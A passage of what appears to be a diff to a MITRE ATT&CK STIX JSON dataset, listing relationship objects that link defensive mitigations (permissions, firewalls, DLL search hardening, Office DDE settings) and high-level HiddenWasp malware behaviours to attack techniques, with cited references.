"2019-06-24T11:48:11.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e7ec1a3-853f-40b5-8dc2-fc8d5b46b241", + "external_references": [ + { + "source_name": "Microsoft Trust Considerations Nov 2014", + "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc755321.aspx" + }, + { + "source_name": "Microsoft SID Filtering Quarantining Jan 2009", + "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc794757.aspx" + }, + { + "source_name": "Microsoft Netdom Trust Sept 2012", + "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc835085.aspx" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + } + ], + "modified": "2019-07-18T03:26:41.074Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable execution on directories within the webroot. Ensure proper permissions on directories that are accessible through a Web server.", + "type": "relationship", + "created": "2019-06-24T12:02:18.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ba8f0270-a378-4b78-9e67-8dbc70df1fb8", + "modified": "2019-07-18T19:27:00.951Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit unauthenticated network share access and network/system isolation", + "type": "relationship", + "created": "2019-06-24T12:02:18.668Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--23033ca9-166b-47c0-b6f5-c69926885927", + "modified": "2019-07-18T19:27:00.971Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disallow remote access to the webroot or other directories used to serve Web content.", + "type": "relationship", + "created": "2019-06-24T12:02:18.674Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--58b119e2-9636-4446-93f1-f75468963935", + "modified": "2019-07-18T19:27:00.970Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.", + "type": "relationship", + "id": "relationship--a0a004fe-2636-4f6d-85c7-2401768252a2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T12:03:02.500Z", + "modified": "2019-06-24T12:03:02.500Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.", + "type": "relationship", + "created": "2019-06-24T12:06:10.358Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4867dbb4-1e1b-45f6-9070-8e2c0c303638", + "external_references": [ + { + "source_name": "TechNet Firewall Design", + "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc700828.aspx" + } + ], + "modified": "2019-07-17T20:18:11.857Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.", + "type": "relationship", + "created": "2019-06-24T12:06:10.365Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7bdcd3e6-f741-4f62-9495-3111309adad8", + "modified": "2019-07-17T20:18:11.872Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.", + "type": "relationship", + "id": "relationship--cbcf3820-85c9-4e09-a9a0-729fdfd11fd6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T12:06:41.416Z", + "modified": "2019-06-24T12:06:41.416Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", + "type": "relationship", + "id": "relationship--38db9ff6-2f56-48cc-b42e-819c6bcca25b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T12:10:26.797Z", + "modified": "2019-06-24T12:10:26.797Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level.", + "type": "relationship", + "created": "2019-06-24T12:13:11.562Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--07be2a52-df69-4d03-aca6-e3d136eefc04", + "modified": "2019-07-18T19:12:52.393Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft.", + "type": "relationship", + "id": "relationship--2b59d554-377b-41f5-a991-70f5a4ff3f69", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T12:15:30.419Z", + "modified": "2019-06-24T12:15:30.419Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.", + "type": "relationship", + "created": "2019-06-24T12:15:33.150Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9802575b-e7bf-417b-8c4e-cfa922e2792b", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-18T18:24:58.950Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider using Group Policy to configure and block additions/modifications to W32Time DLLs.", + "type": "relationship", + "created": "2019-06-24T13:02:09.329Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f0e72e6-cac4-4840-b576-92a5105bda40", + "external_references": [ + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ], + "modified": "2019-07-17T21:51:10.681Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) installs reboot persistence by adding itself to /etc/rc.local.", + "type": "relationship", + "created": "2019-06-24T13:13:57.195Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ced0df2-1d05-40ea-986e-28692c028d92", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.175Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a cipher to implement a decoding function.", + "type": "relationship", + "created": "2019-06-24T13:13:57.215Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b6df63b7-34af-4918-8d1d-cf3dad0287f8", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.197Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) encrypts its configuration and payload.", + "type": "relationship", + "created": "2019-06-24T13:13:57.218Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d13ea010-1b69-40d4-8d86-6fe2053f59d2", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.220Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a script to automate tasks on the victim's machine and to assist in execution.", + "type": "relationship", + "created": "2019-06-24T13:13:57.230Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a311f17e-9f17-4f4d-b316-d844c0a0f1d2", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.257Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) communicates with a simple network protocol over TCP.", + "type": "relationship", + "created": "2019-06-24T13:13:57.241Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55b8f35b-7ccc-4da7-9ab1-40fe148cd182", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.261Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) creates a user account as a means to provide initial persistence to the compromised machine.", + "type": "relationship", + "created": "2019-06-24T13:13:57.243Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08d9bd35-4d07-42f0-b462-c9c8b5a9dbab", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "modified": "2019-07-06T22:20:35.259Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.", + "type": "relationship", + "id": "relationship--d036b6e1-08ad-4a3f-9b57-5e6780eb743c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T13:19:33.236Z", + "modified": "2019-06-24T13:19:33.236Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed.", + "type": "relationship", + "id": "relationship--02814b0e-0387-456e-9bac-ed30f419676f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T13:19:33.243Z", + "modified": "2019-06-24T13:19:33.243Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.", + "type": "relationship", + "created": "2019-06-24T13:34:32.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8d2bbc8-f52e-43dd-8ae4-6cdf3de79a9b", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ], + "modified": "2019-07-24T15:07:22.498Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode", + "type": "relationship", + "created": "2019-06-24T13:35:27.794Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb988651-2bb4-4169-be8e-14ab9c8ef483", + "external_references": [ + { + "source_name": "Microsoft DLL Preloading", + "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.", + "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx" + }, + { + "source_name": "Microsoft DLL Search", + "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "url": "http://msdn.microsoft.com/en-US/library/ms682586" + } + ], + "modified": "2019-07-24T15:07:22.522Z", + "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Adversaries may use new DLLs to execute this technique. Identify and block potentially malicious software executed through search order hijacking by using application whitelisting solutions capable of blocking DLLs loaded by legitimate software.", + "type": "relationship", + "created": "2019-06-24T13:35:27.808Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f6a4e153-d0e1-4518-87ce-18cc0399be70", + "modified": "2019-07-24T15:07:22.518Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique. Use modern browsers with security features turned on.", + "type": "relationship", + "created": "2019-06-24T13:38:13.084Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47e2fc5c-3dab-411d-a402-0052d8e725d3", + "modified": "2019-07-24T15:07:20.776Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.\n\nScript blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.", + "type": "relationship", + "created": "2019-06-24T13:38:13.109Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7d8a729c-3656-4b31-85c0-42b75001f913", + "modified": "2019-07-24T15:07:20.784Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist for these types of systems.", + "type": "relationship", + "created": "2019-06-24T13:38:13.125Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56f490de-51e8-47c4-9eae-ecdd1a55e6ef", + "external_references": [ + { + "source_name": "Windows Blogs Microsoft Edge Sandbox", + "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", + "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "modified": "2019-07-24T15:07:20.800Z", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility.", + "type": "relationship", + "created": "2019-06-24T13:38:13.121Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e6c88fb-11fc-481d-990a-81d74a69e02f", + "external_references": [ + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "modified": "2019-07-24T15:07:20.798Z", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel.", + "type": "relationship", + "created": "2019-06-24T13:39:37.290Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--180a8796-fe25-4ae3-93e2-f7e33960e263", + "external_references": [ + { + "source_name": "Microsoft DDE Advisory Nov 2017", + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + }, + { + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + } + ], + "modified": "2019-07-24T17:34:39.063Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs.", + "type": "relationship", + "created": "2019-06-24T13:39:37.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3aaa150d-c88e-4483-b658-c417ae9bc557", + "external_references": [ + { + "source_name": "Microsoft ASR Nov 2017", + "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.", + "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction" + }, + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + } + ], + "modified": "2019-07-24T17:34:39.097Z", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure Protected View is enabled.", + "type": "relationship", + "created": "2019-06-24T13:39:37.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--954d7473-a942-4af3-8706-d47dc7cdffb6", + "external_references": [ + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ], + "modified": "2019-07-24T17:34:39.098Z", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.", + "type": "relationship", + "id": "relationship--ef3d56d7-2339-4ee7-9086-293d04230fd4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T13:41:54.122Z", + "modified": "2019-06-24T13:41:54.122Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. Other types of virtualization and application microsegmentation may also mitigate the impact of compromise.", + "type": "relationship", + "id": 